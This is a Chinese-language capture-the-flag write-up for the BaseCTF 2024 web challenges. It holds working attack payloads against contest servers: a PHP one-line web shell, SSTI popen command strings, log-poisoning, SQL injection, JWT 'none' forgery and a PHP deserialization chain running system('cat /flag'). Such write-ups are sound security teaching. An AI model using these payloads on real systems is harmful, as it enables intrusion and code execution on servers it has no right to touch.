BaseCTF2024 Web WP
Web
[week1] A Dark Room
考点:f12源代码查看
做题步骤 :第一题我就想到了很简单,所以直接找源码看看,直接点击enable audio然后点击生活查看源代码得到flag
[Week1] Aura 酱的礼物
考点:f12源代码查看
做题步骤 :首先看到file_get_contents($pen)!=='Aura'
我就立马想到data伪协议来绕过,所以构造pen=data://text/plain,Aura
然后接下来看到$challenge=$_POST['challenge'];
if strpos($challenge,'http://jasmineaura.github.io')!==0)
{
die('这不是Aura的博客!');
}
$blog_content=file_get_contents($challenge);
if(strpos($blog_content,'已经收到Kengwang的礼物啦')===false)
{
die('请去博客里面写下感想哦~');
}
问了一下学长得到是ssrf考点,后面也给到了提示,这里用到@绕过,当传入的url是url=http://127.0.0.1
,如果 我们传入的url是url=http://quan9i@127.0.0.1
,它此时依旧会访问127.0.0.1,strpos()函数查找字符串在另一字符串中第一次出现的位置。找到了就返回true所以直接传入challenge=http://jasmineaura.github.io@challenge.basectf.fun:31741
,因为题目本身就带有已经收到Kengwang的礼物啦这句话。include($gift);
最后这里就是直接filter协议读取flag.php,最后的flag是base64编码过的,拿去解码就好,payload:
[Week1] HTTP 是什么呀
考点:http协议,get传参,post传参,构造cookie、User-Agent、Referer、IP
做题步骤 :直接burpsuite抓包传对应值就行,但需要特别注意post请求需要加上Content-Type: application/x-www-form-urlencoded,ip对应的是X-Forwarded-For,还有这里的welc%00me直接传是不行的,需要去url编码一次变成**%2500**然后浏览器会自动解码成%00,最后flag是base64加密,拿去解密就行,payload:
[Week1] md5绕过欸
考点:isset函数,md5强弱比较绕过
做题步骤 :首先检查这些变量是否存在(isset($_GET['name'])&&isset($_POST['password'])&&isset($_GET['name2'])&&isset($_POST['password2'])
所以要用get传参name和name2,post传password和password2,第一层$name!=$password&&md5($name)==md5($password)
是==,也就是弱比较绕过,意思是name和password的值不相等,但是它们的md5值相等直接数组绕过,也可以科学计数法绕过,我构造name[]=1 password[]=2
,后面$name2!==$password2&&md5($name2)===md5($password2)
是===,强比较绕过,直接md5碰撞来绕过,name2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2 &password2=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2
,还有同样也可以数组绕过强比较
[Week1] upload
考点:一句话木马,webshell
做题步骤 :直接创建php文件1.php写入一句话木马 <?php @eval($_POST['pass']);?>
,上传后f12网络查看上传的文件的路径是/uploads/1.php
,然后到/uploads/1.php执行
执行我们的命令执行,post传入的变量是我们一句话木马的密码
[Week1] 喵喵喵´•ﻌ•`
考点: eval()函数,命令执行
做题步骤: eval函数可以任意代码执行,我们直接命令执行system('cat /flag')
[Week2] ez_ser
考点: php反序列化,pop链构造
做题步骤: 思路:其实我是反推的,因为得到flag的是misc里面的getflag函数,所以就一路反推。下面是正推思路,我觉得讲正着推思路比较好明白怎么反着推:web的wakeup方法反序列化时就会执行,然后echo了kw这个变量会触发tosrting方法,所以就用wakeup里的变量kw指向下一个类re,然后re的tostring里面的$this->chu0->$nononono;
,调用不存在变量会触发get方法,所以就用chuo指向下一个类pwn,因为有个$dusk = "gods"
,所以首先就要构造这个dusk=gods,get方法里面的over会调佣getflag,所以就直接指向最后一个类misc,Pop链如下
$op1=new web(); |
[Week2] RCEisamazingwithspace
考点: 正则匹配,空格过滤绕过
做题步骤: \s是匹配空格的,然后绕过空格过滤就好,$IFS
直接代替空格
[Week2] Really EZ POP
考点: php反序列化,pop链构造,变量访问性
做题步骤: 首先思路是这么推的,以下说的反着推的思路:找到可以实现命令执行的eval函数,所以sink是最后的一个类,那么触发sink的tostring方法是把对象当成字符串调用,所以我们就可以推到shark类的invoke方法,它把word当成字符串调用了,触发invoke方法是把对象当成函数调用,那么我们可以找到sea类的get方法,把animal也就是赋值后的sea_ani变量当成函数调用,触发get方法是调用的成员不存在,所以我们直接找到nature类中的destruct中调用了不存在的see变量,而destruct反序列化后就会被调用,所以思路就出来了,但是注意的点是word和cmd变量都是私有变量,外部不可以访问,cmd这个好解决,直接后面赋值system(“ls /”);
就好,但是word这个变量我的处理是加上construct类用this指针指向word,然后等于new Sink();,下面是pop链
$op1=new Nature(); |
[Week2] 一起吃豆豆
考点: js代码审计
做题步骤: 游戏题一般都是去找js代码中的某些方法或者直接找到flag(一般!一般!一般!其他的和难的另说!),当然师傅们厉害的话可以直接通关游戏,这里我直接去源码index.php搜索function找到游戏通关的函数中的flag,再base64解密得到flag
[Week2] 你听不到我的声音
考点: 命令执行,shell_exec()函数绕过
做题步骤: shell_exec()
函数哪怕执行了命令也是没有回显的,所以把输出的内容放到其他地方不就好了,先判断方法是否可行?cmd=ls / | sleep 5
,页面暂停了5秒,说明方法可行,?cmd=ls / | tee 1.txt
,然后访问1.txt,同样最后?cmd=cat /flag | tee 1.txt
再访问1.txt得到flag
[Week2] 所以你说你懂 MD5?
考点: md5强弱比较,(string)md5强弱比较,md5拓展攻击
做题步骤: 第一个强比较好做,直接数组绕过来,后面两个有string的强弱比较还是第一次见,网上搜了半天找到了绕过例子:弱比较a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2 强比较m1=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%87%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25qAZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BD%F2%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E2%B4%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%A8%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%2Bo%F7%2Ap&m2=%D11%DD%02%C5%E6%EE%C4i%3D%9A%06%98%AF%F9%5C%2F%CA%B5%07%12F%7E%AB%40%04X%3E%B8%FB%7F%89U%AD4%06%09%F4%B3%02%83%E4%88%83%25%F1AZ%08Q%25%E8%F7%CD%C9%9F%D9%1D%BDr%807%3C%5B%D8%82%3E1V4%8F%5B%AEm%AC%D46%C9%19%C6%DDS%E24%87%DA%03%FD%029c%06%D2H%CD%A0%E9%9F3B%0FW%7E%E8%CET%B6p%80%28%0D%1E%C6%98%21%BC%B6%A8%83%93%96%F9e%ABo%F7%2Ap
到最下面就是md5拓展攻击,先输出一个random的md5值,然后要求name最后五个字符是admin,要求post传的md5等于将 $random 和 $name 拼接起来们的 MD5 哈希值。所以我们可以进行md5拓展攻击,使用hash-ext-attack来构造
思路就是因为我们已知random的md5值, 所以我们就需要拓展admin,因为name需要最后五个字符是admin,最后出来的新hash就是md5($random,$name)也就是md5($md5),然后name就不只是admin,是新明文,下面这样传就可以得到flag
[Week2] 数学大师
考点: 脚本
做题步骤: 看到计算题我就知道要拿脚本跑了,一般脚本我都是直接gpt写和平时积累,本人只是一个脚本小子,官方脚本
import requests |
[Week3] ez_php_jail
考点: php变量,highlight_file函数,glob协议
做题步骤: 首先可以看到Jail_by.Happy,这里是php版本小于8时,变量中的.会变为_,但是我们这样Jail[by.Happy
传就绕过了,然后看完下面函数的代码和最终利用的点,我先看了一下phpinfo();
可以看到禁用了很多函数,最后使用highlight_file函数和glob协议解决,用highlight_file可以读取文件,然后glob是php内置函数,用于搜索特定模式的文件路径,我们使用highlight_file(glob("/f*")[0]);
来得到flag,因为/f*可以搜索所有以f开头的文件,[0]返回第一个元素,也就是flag的字符串
[Week3] 复读机
考点: ssti,ssti过滤绕过
做题步骤: Ssti的绕过一个一个试,慢慢试-_-,最后面的/绕过第一次做,用到的绕过方法是cat (expr substr $PATH 1 1)flag
,也就是使用expr函数截取path环境变量的第一个字符,也就是我们的/,网上找资料补的,也问了几个师傅,感谢你们,payload如下
[Week3] 滤个不停
考点: 日志存放路径,一句话木马
做题步骤: 感谢学长对这道题的帮助,搞了很久也是不知道怎么做,问学长得知考的是日志文件路径,网上找资料看文章,最后知道了对于Apache,日志存放路径:/var/log/apache/access.log
而中出现include()
,可以利用日志文件包含攻击,而且/var/log/apache/access.log
刚好也满足if(strpos($Datch,$char)===True)
,这道题非常巧妙,payload:最后bp发包,在User-Agent中最后加入<?php @eval($_POST['cmd'])?>
[Week3] 玩原神玩的
考点: 逆向解密,脚本
做题步骤: 直接叫gpt写了个脚本运行到了len的长度是45个,然后正确的tip参数:在GET请求中传递tip="我要玩原神"
,以通过ys_open的检查。构造正确的m参数:m[0]
必须为"100%"
,而m[1]
则为"love100%"
加上m[0]的MD5哈希。然后最后flag的逆向解密我也是叫gpt写脚本跑出来得到了flag,但是脚本我都没保存,可以直接参考官方的脚本,我就是脚本小子,都是叫gpt写的,官方脚本:
|
[Week4] No JWT
考点: jwt的none攻击,jwt修改签名算法漏洞
做题步骤: 这个漏洞利用的核心在于JWT的签名机制。在你的代码示例中,JWT的签名是使用HMAC算法(HS256)生成的,但是在/flag
端点的实现中,验证签名的步骤被禁用了("verify_signature": False)
。这意味着JWT的签名没有被检查,所以可以通过修改JWT的内容和签名算法来伪造有效的token。然后脚本伪造token解题的生成jwt脚本:
import jwt |
发包脚本
import requests |
为什么使用无签名算法,在某些情况下,你可能会使用无签名算法(none)来生成JWT。无签名算法表示JWT不包含签名部分。这在实际应用中是不安全的,但在你提供的Flask应用中,由于代码禁用了签名验证,这就成为了一种攻击方法。然后发包就可以得到flag
[Week4] flag直接读取不就行了?
考点: php原生类,目录穿越
做题步骤:
首先利用DirectoryIterator原生类
执行echo函数时,会触发DirectoryIterator类中的 __toString() 方法,输出指定目录里面经过排序之后的第一个文件名,所以我们直接构造../../../secret
,因为flag在secret目录下面,这个是试出来的,然后再利用SplFileObject
读取文件的一行,不过需要加上filter协议才能读出来J=SplFileObject&H=php://filter/read=convert.base64-encode/resource=../../../../secret/f11444g.php
[Week4] 圣钥之战1.0
考点:python原型链污染
做题步骤: 先去/read
找到源码,问了学长得知知识点是,网上找资料学习了一会,python原型链污染:
特别注意:
并不是所有的类的属性都可以被污染,如Object的属性就无法被污染,所以需要目标类能够被切入点类或对象可以通过属性值查找获取到
源码中有/pollute
这个路由上面有merge
这个函数,而且data
是可控的,所以我们就找到了攻击的点
Payload:一定要把Content-Type
修改为application/json
然后返回/read就可以得到flag
[Week4] only one sql
考点:sql注入,时间盲注
做题步骤:select被禁用,无法通过常规查询来查询flag的值,然后可以show tables
查询所有表,可以看到flag表,使用show columns from flag
查询flag表的所有字段,然后猜测flag在data里,然后使用脚本来得到flag,原理就是代码试图在执行删除操作的同时引入延迟,以便测试是否存在 SQL 注入漏洞,如果请求超时(意味着延迟 5 秒钟),就说明猜测的字符是正确的,于是将这个字符加入到 flag 中,并且继续下一轮猜测。,官方脚本:
import requests |
[Fin] 1z_php
考点:正则匹配回溯次数绕过,原生类,intval绕过
考点:正则匹配回溯次数绕过,原生类,intval绕过
做题步骤:首先老生常谈e[m.p=114514.00001
,后面加上的.00001
可以绕过intval,都是找资料了解的,后面try绕过两个正则用到回溯次数绕过,就是构造:一万个1.’HACKER’,脚本:
|
后面就是原生类了a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php&c=__toString
[Fin] Back to the future
考点: git泄露
做题步骤:robots.txt
找到 /.git,所以考的就是git泄露了,使用工具scrabble,输入以下命令
所以flag应该是在第一个地址里,然后使用命令得到flag
[Fin] Jinja Mark
考点: python原生链污染,ssti
做题步骤: 先在flag路由下面bp爆破得到幸运数字,字典上网找,post传进去就得到源码,知道是python原型链污染
源代码中得知magic路由下进行污染,污染payload在下面,目的是改{的解析变为<,jinja_env:这是指 Jinja2 模板引擎的环境设置。在 Flask 中,jinja_env 用于配置模板的行为。variable_start_string 和 variable_end_string:这些字段定义了 Jinja2 中变量的开始和结束符号。默认情况下,它们是 。通过将它们改为 << 和 >>,攻击者可以改变模板中变量的解析方式。最后是到index进行ssti注入,注入语句:<<"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen("ls /").read()>>
[Fin] Lucky Number
考点: python原生链污染,ssti
做题步骤:首先前往flag界面拿到源码,可以看到需要在m4G1c
进行污染,以及要利用的create函数,可知此处是要污染heaven.py
的create函数的__kwdefaults__
属性,由于create函数在另一个模块中,上面搜原型链污染的文章,得知:借助sys
模块中的module
属性,这个属性能够加载出来在自运行开始所有已加载的模块,从而我们能够从属性中获取到我们想要污染的目标模块:我们需要利用sys模块的modules属性来获取到heaven.py,但是代码中并没有导入sys模块。那么该怎么获取到这个模块呢?也是看文章得知在python中存在着__spec__
内置属性,包含了关于类加载时的信息,定义在Lib/importlib/_bootstrap.py
的类ModuleSpec
,所以可以直接采用<模块名>.__spec__.__init__.__globals__['sys']
获取到sys模块,此处就可以使用json模块获取,文章连接https://xz.aliyun.com/t/13072?time__1311=GqmhBKwKGNDKKYIe0KdAKyDQwMzpeD&u_atoken=1ee4f6a92f0be75d6c84bf149079b0cd&u_asig=0a47314717266651223341433e00a0#toc-6
最终的payload如下:
ssti payload:{{"".__class__.__bases__[0].__subclasses__()[132].__init__.__globals__.popen("cat /flag").read()}}
[Fin] RCE or Sql Inject
考点:sql注入,rce
做题步骤:题目hint1给出要RCE,hint2给出mysql远程连接和命令行操作有区别,hint3给出输个问号看看
照着提示的思路首先连接到我的mysql然后输入?看到,发现system (\!) Execute a system shell command
. Wp的解释是system
关键字或\!
可以直接通过mysql命令行执行一个system shell命令
然后我们直接命令执行,wp用的是%0asystem+env
,我用的是%0asystem%20env
同样可以,前面的%0a
换行符是用来绕过过滤的
[Fin] Sql Inject or RCE
考点:sql堆叠注入,rce
做题步骤:过滤了很多,wp提到了可以利用delimiter
来更改一条sql语句的结束符,因为本来的;分隔符被过滤了,通过delimiter
改分隔符才能实现多条语句一起传,然后用到堆叠注入,由于select
被禁用无法查看flag,可以使用handler
读表的方式来绕过,(在MySQL中,handler
是一个用于操作特定的索引类型的命令,而不是用于执行存储过程或触发器的命令。MySQL中的 handler
命令通常用于直接访问表的索引信息)需要注意的是handler读的时候read first中first被禁用,可以使用read next
来绕过
[Fin] ez_php
考点:反序列化,特殊变量名传参,gc回收,引用绕过,反序列化逃逸
做题步骤:好难啊!看wp都看了好久,最后问了一下晨曦师傅才搞懂
首先要构造pop链,正常构造就好,不过有两个特别的知识点,第一个是wakeup的引用绕过,因为wakeup里面赋值了username为hacker会被正则匹配过滤掉,我们使用引用绕过,当end和username相互引用时,修改end的值也是在修改username的值。第二个是绕过throw new Exception("杂鱼~杂鱼~");
这里有一个异常抛出,使得__destruct并不能触发,这时就需要使用gc回收的机制,使__destruct提前触发,让pop链能够往后走,gc回收知识点直接看博客:https://chenxi9981.github.io/php%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/ 所以把输出结果末尾的i:2;N;}
改成i:1;N;}
,即把2改成1。然后传就行。最后是逃逸substrstr函数,花了好久才理解,这道花了我一上午,知识点:https://chenxi9981.github.io/ctfshow_XGCTF_%E8%A5%BF%E7%93%9C%E6%9D%AF/ 总结就是每发送一个%f0abc
,mb_strpos
认为是4个字节,mb_substr
认为是1个字节,相差3个字节
每发送一个%f0%9fab
,mb_strpos
认为是3个字节,mb_substr
认为是1个字节,相差2个字节
每发送一个%f0%9f%9fa
,mb_strpos
认为是2个字节,mb_substr
认为是1个字节,相差1个字节。
然后因为代码中有$ctf=newHacker('{{{'.$_GET['ez_ser.from_you'].'}}}');
所以前面的 O:6:"Hacker":3:{s:5:"start";s:218:"{{{` 这部分并不是我们需要的,必须截掉,因此传入
`substr=%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0abc%f0%9fab` (这是字节数是算他们的差)
Pop链:
class Hacker{
public $start;
public $end;
public $username="hacker";
public function __construct($start){
$this->start=$start;
}
public function __wakeup(){
$this->username="hacker";
$this->end = $this->start;
}
public function __destruct(){
if(!preg_match('/ctfer/i',$this->username)){
echo 'Hacker!'; //0
}
}
}
class C{
public $c;
public function __toString(){
$this->c->c(); //-1
return "C";
}
}
class T{
public $t;
public function __call($name,$args){
echo $this->t->t; //-2
}
}
class F{
public $f;
public function __get($name){
return isset($this->f->f); //-3
}
}
class E{
public $e;
public function __isset($name){
($this->e)(); //-2
}
}
class R{
public $r;
public function __invoke(){
eval($this->r); //-1
}
}
$op1=new Hacker();
$op2=new C();
$op3=new T();
$op4=new F();
$op5=new E();
$op6=new R();
$op1->end = &$op1->username; //绕过wakeup的赋值
$op1->start=$op2;
$op2->c=$op3;
$op3->t=$op4;
$op4->f=$op5;
$op5->e=$op6;
$op6->r='system("cat /flag");';
$opop=array('1'=>$op1,'2'=>NULL);
echo urlencode(serialize($opop));
写在结尾的一点点结语,第一篇博客,wp写了大概两天,博客弄好写好也是大概两三天,希望这篇对各位师傅们有所帮助,本人博客的初心是搭博客和写博客的过程中学习,同时与各位师傅们分享知识共同进步,感谢!!!